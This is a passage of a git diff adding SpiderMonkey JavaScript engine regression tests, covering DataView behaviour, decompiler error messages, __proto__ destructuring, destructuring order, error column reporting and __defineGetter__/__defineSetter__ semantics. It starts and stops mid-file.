+ // Bug 753996: when throwing an Error whose message contains the name of a
+ // function, the JS engine calls js_ValueToFunction to produce the function
+ // name to include in the message. js_ValueToFunction does not unwrap its
+ // argument. So if the function is actually a wrapper, then
+ // js_ValueToFunction will throw a TypeError ("X is not a function").
+ // Confusingly, this TypeError uses the decompiler, which *will* unwrap the
+ // object to get the wrapped function name out, so the final error will
+ // look something like "SomeFunction() is not a function".)
+ var weirdo = Object.create(alien.eval("new Date"));
+ var e = null;
+ try {
+ weirdo.getTime();
+ } catch (exc) {
+ e = exc;
+ }
+ if (!e) {
+ print("==== TODO but PASSED? ====");
+ print("Bug 753996 unexpectedly passed");
+ }
+
+ // proto is proxy for view of buffer: should throw TypeError
+ //
+ // As of this writing, bug 753996 causes this to throw the *wrong*
+ // TypeError, and in fact it throws a (thisglobal).TypeError instead of
+ // alien.TypeError.
+ var av = Object.create(alien_view);
+ checkThrowTODO(() => av.getUint8(4), alien.TypeError);
+ checkThrowTODO(() => av.buffer, alien.TypeError);
+
+ // view of object whose proto is buffer. This should not work per dherman.
+ // Note that DataView throws a TypeError while TypedArrays create a
+ // zero-length view. Odd though it seems, this is correct: TypedArrays have
+ // a constructor that takes a length argument; DataViews do not. So a
+ // TypedArray will do ToUint32 and end up passing a zero as the
+ // constructor's length argument.
+ buffer = Object.create(buffer1);
+ checkThrow(() => new DataView(buffer), TypeError);
+
+ // view of proxy for buffer
+ av = new DataView(alien_buffer);
+ assertEq(av.getUint8(4), 100);
+ assertEq(Object.getPrototypeOf(av), DataView.prototype);
+
+ // Bug 760904: call another compartment's constructor with an ArrayBuffer
+ // from this compartment.
+ var alien_constructor = alien.DataView;
+ var local_buffer = (new Int8Array(3)).buffer;
+ var foreign_exchange_student = new alien_constructor(local_buffer);
+
+ // gc bug 787775
+ var ab = new ArrayBuffer(4);
+ var dv = new DataView(ab);
+ dv = 1;
+ gc();
+
+ // Bug 1438569.
+ dv = new DataView(new ArrayBuffer(20 * 1024 * 1024));
+ dv.setInt8(dv.byteLength - 10, 99);
+ assertEq(dv.getInt8(dv.byteLength - 10), 99);
+
+ reportCompare(0, 0, 'done.');
+}
+
+test(false);
+
+if (this.SharedArrayBuffer)
+ test(true);
diff --git a/js/src/tests/non262/extensions/decompile-for-of.js b/js/src/tests/non262/extensions/decompile-for-of.js
new file mode 100644
index 0000000000..b99e20a40b
--- /dev/null
+++ b/js/src/tests/non262/extensions/decompile-for-of.js
@@ -0,0 +1,27 @@
+// The decompiler can handle the implicit call to @@iterator in a for-of loop.
+
+var x;
+function check(code, msg) {
+ var s = "no exception thrown";
+ try {
+ eval(code);
+ } catch (exc) {
+ s = exc.message;
+ }
+
+ assertEq(s, msg);
+}
+
+x = {};
+check("for (var v of x) throw fit;", "x is not iterable");
+check("[...x]", "x is not iterable");
+check("Math.hypot(...x)", "x is not iterable");
+
+x[Symbol.iterator] = "potato";
+check("for (var v of x) throw fit;", "x is not iterable");
+
+x[Symbol.iterator] = {};
+check("for (var v of x) throw fit;", "x[Symbol.iterator] is not a function");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/extensions/destructure-accessor.js b/js/src/tests/non262/extensions/destructure-accessor.js
new file mode 100644
index 0000000000..e8c57bb93c
--- /dev/null
+++ b/js/src/tests/non262/extensions/destructure-accessor.js
@@ -0,0 +1,75 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'destructure-accessor.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 536472;
+var summary =
+ 'ES5: { get x(v) { } } and { set x(v, v2) { } } should be syntax errors';
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+function expectOk(s)
+{
+ try
+ {
+ eval(s);
+ return;
+ }
+ catch (e)
+ {
+ assertEq(true, false,
+ "expected no error parsing '" + "', got : " + e);
+ }
+}
+
+function expectSyntaxError(s)
+{
+ try
+ {
+ eval(s);
+ throw new Error("no error thrown");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error parsing '" + s + "', got: " + e);
+ }
+}
+
+expectSyntaxError("({ get x([]) { } })");
+expectSyntaxError("({ get x({}) { } })");
+expectSyntaxError("({ get x(a, []) { } })");
+expectSyntaxError("({ get x(a, {}) { } })");
+expectSyntaxError("({ get x([], a) { } })");
+expectSyntaxError("({ get x({}, a) { } })");
+expectSyntaxError("({ get x([], a, []) { } })");
+expectSyntaxError("({ get x([], a, {}) { } })");
+expectSyntaxError("({ get x({}, a, []) { } })");
+expectSyntaxError("({ get x({}, a, {}) { } })");
+
+expectOk("({ get x() { } })");
+
+
+expectSyntaxError("({ set x() { } })");
+expectSyntaxError("({ set x(a, []) { } })");
+expectSyntaxError("({ set x(a, b, c) { } })");
+
+expectOk("({ set x([]) { } })");
+expectOk("({ set x({}) { } })");
+expectOk("({ set x([a]) { } })");
+expectOk("({ set x([a, b]) { } })");
+expectOk("({ set x([a,]) { } })");
+expectOk("({ set x([a, b,]) { } })");
+expectOk("({ set x([, b]) { } })");
+expectOk("({ set x([, b,]) { } })");
+expectOk("({ set x([, b, c]) { } })");
+expectOk("({ set x([, b, c,]) { } })");
+expectOk("({ set x({ a: a }) { } })");
+expectOk("({ set x({ a: a, b: b }) { } })");
+
+//-----------------------------------------------------------------------------
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment-before-var.js b/js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment-before-var.js
new file mode 100644
index 0000000000..da0da55c8a
--- /dev/null
+++ b/js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment-before-var.js
@@ -0,0 +1,49 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'destructuring-__proto__-shorthand-assignment-before-var.js';
+var BUGNUMBER = 963641;
+var summary = "{ __proto__ } should work as a destructuring assignment pattern";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function objectWithProtoProperty(v)
+{
+ var obj = {};
+ return Object.defineProperty(obj, "__proto__",
+ {
+ enumerable: true,
+ configurable: true,
+ writable: true,
+ value: v
+ });
+}
+
+({ __proto__ } = objectWithProtoProperty(17));
+assertEq(__proto__, 17);
+
+var { __proto__ } = objectWithProtoProperty(42);
+assertEq(__proto__, 42);
+
+function nested()
+{
+ ({ __proto__ } = objectWithProtoProperty(undefined));
+ assertEq(__proto__, undefined);
+
+ var { __proto__ } = objectWithProtoProperty("fnord");
+ assertEq(__proto__, "fnord");
+}
+nested();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment.js b/js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment.js
new file mode 100644
index 0000000000..0ab26465f5
--- /dev/null
+++ b/js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment.js
@@ -0,0 +1,49 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'destructuring-__proto__-shorthand-assignment.js';
+var BUGNUMBER = 963641;
+var summary = "{ __proto__ } should work as a destructuring assignment pattern";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function objectWithProtoProperty(v)
+{
+ var obj = {};
+ return Object.defineProperty(obj, "__proto__",
+ {
+ enumerable: true,
+ configurable: true,
+ writable: true,
+ value: v
+ });
+}
+
+var { __proto__ } = objectWithProtoProperty(42);
+assertEq(__proto__, 42);
+
+({ __proto__ } = objectWithProtoProperty(17));
+assertEq(__proto__, 17);
+
+function nested()
+{
+ var { __proto__ } = objectWithProtoProperty("fnord");
+ assertEq(__proto__, "fnord");
+
+ ({ __proto__ } = objectWithProtoProperty(undefined));
+ assertEq(__proto__, undefined);
+}
+nested();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/destructuring-__proto__-target-assignment.js b/js/src/tests/non262/extensions/destructuring-__proto__-target-assignment.js
new file mode 100644
index 0000000000..9e8ec72179
--- /dev/null
+++ b/js/src/tests/non262/extensions/destructuring-__proto__-target-assignment.js
@@ -0,0 +1,50 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'destructuring-__proto__-target--assignment.js';
+var BUGNUMBER = 963641;
+var summary =
+ "{ __proto__: target } should work as a destructuring assignment pattern";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function objectWithProtoProperty(v)
+{
+ var obj = {};
+ return Object.defineProperty(obj, "__proto__",
+ {
+ enumerable: true,
+ configurable: true,
+ writable: true,
+ value: v
+ });
+}
+
+var { __proto__: target } = objectWithProtoProperty(null);
+assertEq(target, null);
+
+({ __proto__: target } = objectWithProtoProperty("aacchhorrt"));
+assertEq(target, "aacchhorrt");
+
+function nested()
+{
+ var { __proto__: target } = objectWithProtoProperty(3.141592654);
+ assertEq(target, 3.141592654);
+
+ ({ __proto__: target } = objectWithProtoProperty(-0));
+ assertEq(target, -0);
+}
+nested();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/destructuring-for-inof-__proto__.js b/js/src/tests/non262/extensions/destructuring-for-inof-__proto__.js
new file mode 100644
index 0000000000..283dee3147
--- /dev/null
+++ b/js/src/tests/non262/extensions/destructuring-for-inof-__proto__.js
@@ -0,0 +1,85 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'destructuring-for-inof-__proto__.js';
+var BUGNUMBER = 963641;
+var summary =
+ "__proto__ should work in destructuring patterns as the targets of " +
+ "for-in/for-of loops";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function objectWithProtoProperty(v)
+{
+ var obj = {};
+ return Object.defineProperty(obj, "__proto__",
+ {
+ enumerable: true,
+ configurable: true,
+ writable: true,
+ value: v
+ });
+}
+
+function* objectWithProtoGenerator(v)
+{
+ yield objectWithProtoProperty(v);
+}
+
+function* identityGenerator(v)
+{
+ yield v;
+}
+
+for (var { __proto__: target } of objectWithProtoGenerator(null))
+ assertEq(target, null);
+
+for ({ __proto__: target } of objectWithProtoGenerator("aacchhorrt"))
+ assertEq(target, "aacchhorrt");
+
+for ({ __proto__: target } of identityGenerator(42))
+ assertEq(target, Number.prototype);
+
+for (var { __proto__: target } in { prop: "kneedle" })
+ assertEq(target, String.prototype);
+
+for ({ __proto__: target } in { prop: "snork" })
+ assertEq(target, String.prototype);
+
+for ({ __proto__: target } in { prop: "ohia" })
+ assertEq(target, String.prototype);
+
+function nested()
+{
+ for (var { __proto__: target } of objectWithProtoGenerator(null))
+ assertEq(target, null);
+
+ for ({ __proto__: target } of objectWithProtoGenerator("aacchhorrt"))
+ assertEq(target, "aacchhorrt");
+
+ for ({ __proto__: target } of identityGenerator(42))
+ assertEq(target, Number.prototype);
+
+ for (var { __proto__: target } in { prop: "kneedle" })
+ assertEq(target, String.prototype);
+
+ for ({ __proto__: target } in { prop: "snork" })
+ assertEq(target, String.prototype);
+
+ for ({ __proto__: target } in { prop: "ohia" })
+ assertEq(target, String.prototype);
+}
+nested();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/destructuring-order.js b/js/src/tests/non262/extensions/destructuring-order.js
new file mode 100644
index 0000000000..b1567e6a07
--- /dev/null
+++ b/js/src/tests/non262/extensions/destructuring-order.js
@@ -0,0 +1,150 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var summary = "Order of destructuring, destructuring in the presence of " +
+ "exceptions";
+var actual, expect;
+
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+
+var a = "FAILED", b = "PASSED";
+
+function exceptObj()
+{
+ return { get b() { throw "PASSED"; }, a: "PASSED" };
+}
+
+function partialEvalObj()
+{
+ try
+ {
+ ({a:a, b:b} = exceptObj());
+ throw "FAILED";
+ }
+ catch (ex)
+ {
+ if (ex !== "PASSED")
+ throw "bad exception thrown: " + ex;
+ }
+}
+
+
+var c = "FAILED", d = "FAILED", e = "PASSED", f = "PASSED";
+
+function exceptArr()
+{
+ return ["PASSED", {e: "PASSED", get f() { throw "PASSED"; }}, "FAILED"];
+}
+
+function partialEvalArr()
+{
+ try
+ {
+ [c, {e: d, f: e}, f] = exceptArr();
+ throw "FAILED";
+ }
+ catch (ex)
+ {
+ if (ex !== "PASSED")
+ throw "bad exception thrown: " + ex;
+ }
+}
+
+
+var g = "FAILED", h = "FAILED", i = "FAILED", j = "FAILED", k = "FAILED";
+var _g = "PASSED", _h = "FAILED", _i = "FAILED", _j = "FAILED", _k = "FAILED";
+var order = [];
+
+function objWithGetters()
+{
+ return {
+ get j()
+ {
+ var rv = _j;
+ _g = _h = _i = _j = "FAILED";
+ _k = "PASSED";
+ order.push("j");
+ return rv;
+ },
+ get g()
+ {
+ var rv = _g;
+ _g = _i = _j = _k = "FAILED";
+ _h = "PASSED";
+ order.push("g");
+ return rv;
+ },
+ get i()
+ {
+ var rv = _i;
+ _g = _h = _i = _k = "FAILED";
+ _j = "PASSED";
+ order.push("i");
+ return rv;
+ },
+ get k()
+ {
+ var rv = _k;
+ _g = _h = _i = _j = _k = "FAILED";
+ order.push("k");
+ return rv;
+ },
+ get h()
+ {
+ var rv = _h;
+ _g = _h = _j = _k = "FAILED";
+ _i = "PASSED";
+ order.push("h");
+ return rv;
+ }
+ };
+}
+
+function partialEvalObj2()
+{
+ ({g: g, h: h, i: i, j: j, k: k} = objWithGetters());
+}
+
+try
+{
+ partialEvalObj();
+ if (a !== "PASSED" || b !== "PASSED")
+ throw "FAILED: lhs not mutated correctly during destructuring!\n" +
+ "a == " + a + ", b == " + b;
+
+ partialEvalObj2();
+ if (g !== "PASSED" ||
+ h !== "PASSED" ||
+ i !== "PASSED" ||
+ j !== "PASSED" ||
+ k !== "PASSED")
+ throw "FAILED: order of property accesses wrong!\n" +
+ "order == " + order;
+
+ partialEvalArr();
+ if (c !== "PASSED" || d !== "PASSED" || e !== "PASSED")
+ throw "FAILED: lhs not mutated correctly during destructuring!\n" +
+ "c == " + c +
+ ", d == " + d +
+ ", e == " + e +
+ ", f == " + f ;
+}
+catch (ex)
+{
+ failed = ex;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/element-setting-ToNumber-detaches.js b/js/src/tests/non262/extensions/element-setting-ToNumber-detaches.js
new file mode 100644
index 0000000000..0d4b6f9c33
--- /dev/null
+++ b/js/src/tests/non262/extensions/element-setting-ToNumber-detaches.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+"use strict"; // make test fail when limitation below is fixed
+
+var gTestfile = 'element-setting-ToNumber-detaches.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1001547;
+var summary =
+ "Don't assert assigning into memory detached while converting the value to " +
+ "assign into a number";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Technically per current spec the element-sets should throw in strict mode,
+// but we just silently do nothing for now, somewhat due to limitations of our
+// internal MOP (which can't easily say "try this special behavior, else fall
+// back on normal logic"), somewhat because it's consistent with current
+// behavior (as of this test's addition) for out-of-bounds sets.
+
+var ab = new ArrayBuffer(64);
+var ta = new Uint32Array(ab);
+ta[4] = { valueOf() { detachArrayBuffer(ab); return 5; } };
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/empty.txt b/js/src/tests/non262/extensions/empty.txt
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/extensions/empty.txt
diff --git a/js/src/tests/non262/extensions/error-tostring-function.js b/js/src/tests/non262/extensions/error-tostring-function.js
new file mode 100644
index 0000000000..86751c39d8
--- /dev/null
+++ b/js/src/tests/non262/extensions/error-tostring-function.js
@@ -0,0 +1,45 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 894653;
+var summary =
+ "Error.prototype.toString called on function objects should work as on any " +
+ "object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function ErrorToString(v)
+{
+ return Error.prototype.toString.call(v);
+}
+
+// The name property of function objects isn't standardized, so this must be an
+// extension-land test.
+
+assertEq(ErrorToString(function f(){}), "f");
+assertEq(ErrorToString(function g(){}), "g");
+assertEq(ErrorToString(function(){}), "");
+
+var fn1 = function() {};
+fn1.message = "ohai";
+assertEq(ErrorToString(fn1), "fn1: ohai");
+
+var fn2 = function blerch() {};
+fn2.message = "fnord";
+assertEq(ErrorToString(fn2), "blerch: fnord");
+
+var fn3 = function() {};
+fn3.message = "";
+assertEq(ErrorToString(fn3), "fn3");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/non262/extensions/errorcolumnblame.js b/js/src/tests/non262/extensions/errorcolumnblame.js
new file mode 100644
index 0000000000..80c776520c
--- /dev/null
+++ b/js/src/tests/non262/extensions/errorcolumnblame.js
@@ -0,0 +1,79 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 568142;
+var summary = 'error reporting blames column as well as line';
+
+function test(f, col) {
+ var caught = false;
+ try {
+ f();
+ } catch (e) {
+ caught = true;
+ assertEq(e.columnNumber, col);
+ }
+ assertEq(caught, true);
+}
+
+/* Note single hard tab before return! */
+function foo(o) {
+ return o.p;
+}
+test(foo, 2);
+
+//345678901234567890
+test(function(f) { return f.bar; }, 20);
+// 1 2
+//3456789012345678901234567
+test(function(f) { return f(); }, 27);
+/* Cover negative colspan case using for(;;) loop with error in update part. */
+test(function(){
+ // 1 2 3 4
+ //123456789012345678901234567890123456789012
+ eval("function baz() { for (var i = 0; i < 10; i += a.b); assertEq(i !== i, true); }");
+ baz();
+}, 42);
+
+// 1 2 3
+//3456789012345678901234567890123456
+test(function() { var tmp = null; tmp(); }, 35)
+test(function() { var tmp = null; tmp.foo; }, 36)
+
+/* Just a generic 'throw'. */
+test(function() {
+// 1 2
+//345678901234567890
+ foo({}); throw new Error('a');
+}, 20);
+
+/* Be sure to report the right statement */
+test(function() {
+ function f() { return true; }
+ function g() { return false; }
+// 1 2
+//345678901234567890123456789
+ f(); g(); f(); if (f()) a += e;
+}, 29);
+
+// 1 2
+//345678901234567890
+test(function() { e++; }, 19);
+test(function() {print += e; }, 18);
+test(function(){e += 1 }, 17);
+test(function() { print[e]; }, 20);
+test(function() { e[1]; }, 19);
+test(function() { e(); }, 19);
+test(function() { 1(); }, 20);
+test(function() { Object.defineProperty() }, 26);
+
+test(function() {
+// 1 2
+//34567890123456789012
+ function foo() { asdf; } foo()
+}, 22);
+
+reportCompare(0, 0, "ok");
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/non262/extensions/es5ish-defineGetter-defineSetter.js b/js/src/tests/non262/extensions/es5ish-defineGetter-defineSetter.js
new file mode 100644
index 0000000000..681a157a8b
--- /dev/null
+++ b/js/src/tests/non262/extensions/es5ish-defineGetter-defineSetter.js
@@ -0,0 +1,281 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 715821;
+var summary = "Implement __define[GS]etter__ using Object.defineProperty";
+
+print(BUGNUMBER + ": " + summary);
+
+/*************
+ * UTILITIES *
+ *************/
+
+function s(desc)
+{
+ if (typeof desc === "undefined")
+ return "<undefined>";
+ assertEq(typeof desc, "object");
+ assertEq(desc !== null, true);
+
+ var str = "<enumerable: <" + desc.enumerable + ">, " +
+ " configurable: <" + desc.configurable + ">,";
+
+ if (desc.hasOwnProperty("value"))
+ {
+ return str +
+ " value: <" + desc.value + ">," +
+ " writable: <" + desc.writable + ">>";
+ }
+
+ return str +
+ " get: <" + desc.get + ">," +
+ " set: <" + desc.set + ">>";
+}
+
+function checkField(field, desc, expected)
+{
+ var present = desc.hasOwnProperty(field);
+ assertEq(present, expected.hasOwnProperty(field),
+ field + " presence mismatch (got " + s(desc) + ", expected " + s(expected) + ")");
+ if (present)
+ {
+ assertEq(desc[field], expected[field],
+ field + " value mismatch (got " + s(desc) + ", expected " + s(expected) + ")");
+ }
+}
+
+function check(obj, prop, expected)
+{
+ var desc = Object.getOwnPropertyDescriptor(obj, prop);
+ assertEq(typeof desc, typeof expected,
+ "type mismatch (got " + s(desc) + ", expected " + s(expected) + ")");
+
+ assertEq(desc.hasOwnProperty("get"), desc.hasOwnProperty("set"),
+ "bad descriptor: " + s(desc));
+ assertEq(desc.hasOwnProperty("value"), desc.hasOwnProperty("writable"),
+ "bad descriptor: " + s(desc));
+
+ assertEq(desc.hasOwnProperty("get"), !desc.hasOwnProperty("value"),
+ "bad descriptor: " + s(desc));
+
+ checkField("get", desc, expected);
+ checkField("set", desc, expected);
+ checkField("value", desc, expected);
+ checkField("writable", desc, expected);
+ checkField("enumerable", desc, expected);
+ checkField("configurable", desc, expected);
+}
+
+function expectTypeError(f)
+{
+ try
+ {
+ f();
+ throw new Error("no error thrown");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error thrown: got " + e + ", not a TypeError");
+ }
+}
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Adding a new getter, overwriting an existing one
+
+function g1() { }
+var gobj = {};
+gobj.__defineGetter__("foo", g1);
+check(gobj, "foo", { get: g1, set: undefined, enumerable: true, configurable: true });
+
+function g2() { }
+gobj.__defineGetter__("foo", g2);
+check(gobj, "foo", { get: g2, set: undefined, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a new setter, overwriting an existing one
+
+function s1() { }
+var sobj = {};
+sobj.__defineSetter__("bar", s1);
+check(sobj, "bar", { get: undefined, set: s1, enumerable: true, configurable: true });
+
+function s2() { }
+sobj.__defineSetter__("bar", s2);
+check(sobj, "bar", { get: undefined, set: s2, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a new getter, then adding a setter
+// Changing an existing accessor's enumerability, then "null"-changing the accessor
+// Changing an accessor's configurability, then "null"-changing and real-changing the accessor
+
+function g3() { }
+var gsobj = {};
+gsobj.__defineGetter__("baz", g3);
+check(gsobj, "baz", { get: g3, set: undefined, enumerable: true, configurable: true });
+
+function s3() { }
+gsobj.__defineSetter__("baz", s3);
+check(gsobj, "baz", { get: g3, set: s3, enumerable: true, configurable: true });
+
+Object.defineProperty(gsobj, "baz", { enumerable: false });
+check(gsobj, "baz", { get: g3, set: s3, enumerable: false, configurable: true });
+
+gsobj.__defineGetter__("baz", g3);
+check(gsobj, "baz", { get: g3, set: s3, enumerable: true, configurable: true });
+
+Object.defineProperty(gsobj, "baz", { enumerable: false });
+check(gsobj, "baz", { get: g3, set: s3, enumerable: false, configurable: true });
+
+gsobj.__defineSetter__("baz", s3);
+check(gsobj, "baz", { get: g3, set: s3, enumerable: true, configurable: true });
+
+Object.defineProperty(gsobj, "baz", { configurable: false });
+expectTypeError(function() { gsobj.__defineSetter__("baz", s2); });
+expectTypeError(function() { gsobj.__defineSetter__("baz", s3); });
+check(gsobj, "baz", { get: g3, set: s3, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a new setter, then adding a getter
+// Changing an existing accessor's enumerability, then "null"-changing the accessor
+// Changing an accessor's configurability, then "null"-changing and real-changing the accessor
+
+function s4() { }
+var sgobj = {};
+sgobj.__defineSetter__("baz", s4);
+check(sgobj, "baz", { get: undefined, set: s4, enumerable: true, configurable: true });
+
+function g4() { }
+sgobj.__defineGetter__("baz", g4);
+check(sgobj, "baz", { get: g4, set: s4, enumerable: true, configurable: true });
+
+Object.defineProperty(sgobj, "baz", { enumerable: false });
+check(sgobj, "baz", { get: g4, set: s4, enumerable: false, configurable: true });
+
+sgobj.__defineSetter__("baz", s4);
+check(sgobj, "baz", { get: g4, set: s4, enumerable: true, configurable: true });
+
+Object.defineProperty(sgobj, "baz", { enumerable: false });
+check(sgobj, "baz", { get: g4, set: s4, enumerable: false, configurable: true });
+
+sgobj.__defineSetter__("baz", s4);
+check(sgobj, "baz", { get: g4, set: s4, enumerable: true, configurable: true });
+
+Object.defineProperty(sgobj, "baz", { configurable: false });
+expectTypeError(function() { sgobj.__defineGetter__("baz", g3); });
+expectTypeError(function() { sgobj.__defineSetter__("baz", s4); });
+check(sgobj, "baz", { get: g4, set: s4, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a getter over a writable data property
+
+function g5() { }
+var gover = { quux: 17 };
+check(gover, "quux", { value: 17, writable: true, enumerable: true, configurable: true });
+
+gover.__defineGetter__("quux", g5);
+check(gover, "quux", { get: g5, set: undefined, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a setter over a writable data property
+
+function s5() { }
+var sover = { quux: 17 };
+check(sover, "quux", { value: 17, writable: true, enumerable: true, configurable: true });
+
+sover.__defineSetter__("quux", s5);
+check(sover, "quux", { get: undefined, set: s5, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a getter over a non-writable data property
+
+function g6() { }
+var gnover = { eit: 17 };
+check(gnover, "eit", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(gnover, "eit", { writable: false });
+check(gnover, "eit", { value: 17, writable: false, enumerable: true, configurable: true });
+
+gnover.__defineGetter__("eit", g6);
+check(gnover, "eit", { get: g6, set: undefined, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a setter over a non-writable data property
+
+function s6() { }
+var snover = { eit: 17 };
+check(snover, "eit", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(snover, "eit", { writable: false });
+check(snover, "eit", { value: 17, writable: false, enumerable: true, configurable: true });
+
+snover.__defineSetter__("eit", s6);
+check(snover, "eit", { get: undefined, set: s6, enumerable: true, configurable: true });
+
+/******************************************************************************/
+
+// Adding a getter over a non-configurable, writable data property
+
+function g7() { }
+var gncover = { moo: 17 };
+check(gncover, "moo", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(gncover, "moo", { configurable: false });
+check(gncover, "moo", { value: 17, writable: true, enumerable: true, configurable: false });
+
+expectTypeError(function() { gncover.__defineGetter__("moo", g7); });
+check(gncover, "moo", { value: 17, writable: true, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a setter over a non-configurable, writable data property
+
+function s7() { }
+var sncover = { moo: 17 };
+check(sncover, "moo", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(sncover, "moo", { configurable: false });
+check(sncover, "moo", { value: 17, writable: true, enumerable: true, configurable: false });
+
+expectTypeError(function() { sncover.__defineSetter__("moo", s7); });
+check(sncover, "moo", { value: 17, writable: true, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a getter over a non-configurable, non-writable data property
+
+function g8() { }
+var gncwover = { fwoosh: 17 };
+check(gncwover, "fwoosh", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(gncwover, "fwoosh", { writable: false, configurable: false });
+check(gncwover, "fwoosh", { value: 17, writable: false, enumerable: true, configurable: false });
+
+expectTypeError(function() { gncwover.__defineGetter__("fwoosh", g7); });
+check(gncwover, "fwoosh", { value: 17, writable: false, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+// Adding a setter over a non-configurable, non-writable data property
+
+function s8() { }
+var sncwover = { fwoosh: 17 };
+check(sncwover, "fwoosh", { value: 17, writable: true, enumerable: true, configurable: true });
+Object.defineProperty(sncwover, "fwoosh", { writable: false, configurable: false });
+check(sncwover, "fwoosh", { value: 17, writable: false, enumerable: true, configurable: false });
+
+expectTypeError(function() { sncwover.__defineSetter__("fwoosh", s7); });
+check(sncwover, "fwoosh", { value: 17, writable: false, enumerable: true, configurable: false });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/eval-native-callback-is-indirect.js b/js/src/tests/non262/extensions/eval-native-callback-is-indirect.js
new file mode 100644
index 0000000000..017ccf1c74
--- /dev/null
+++ b/js/src/tests/non262/extensions/eval-native-callback-is-indirect.js
@@ -0,0 +1,33 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 604504;
+var summary = "eval called from a native function is indirect";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var originalEval = eval;
+
+var global = this;
+var directCheckCode = "this === global";
+
+function testArrayGeneric()
+{
+ var global = "psych!";
+ var eval = Array.map;
+
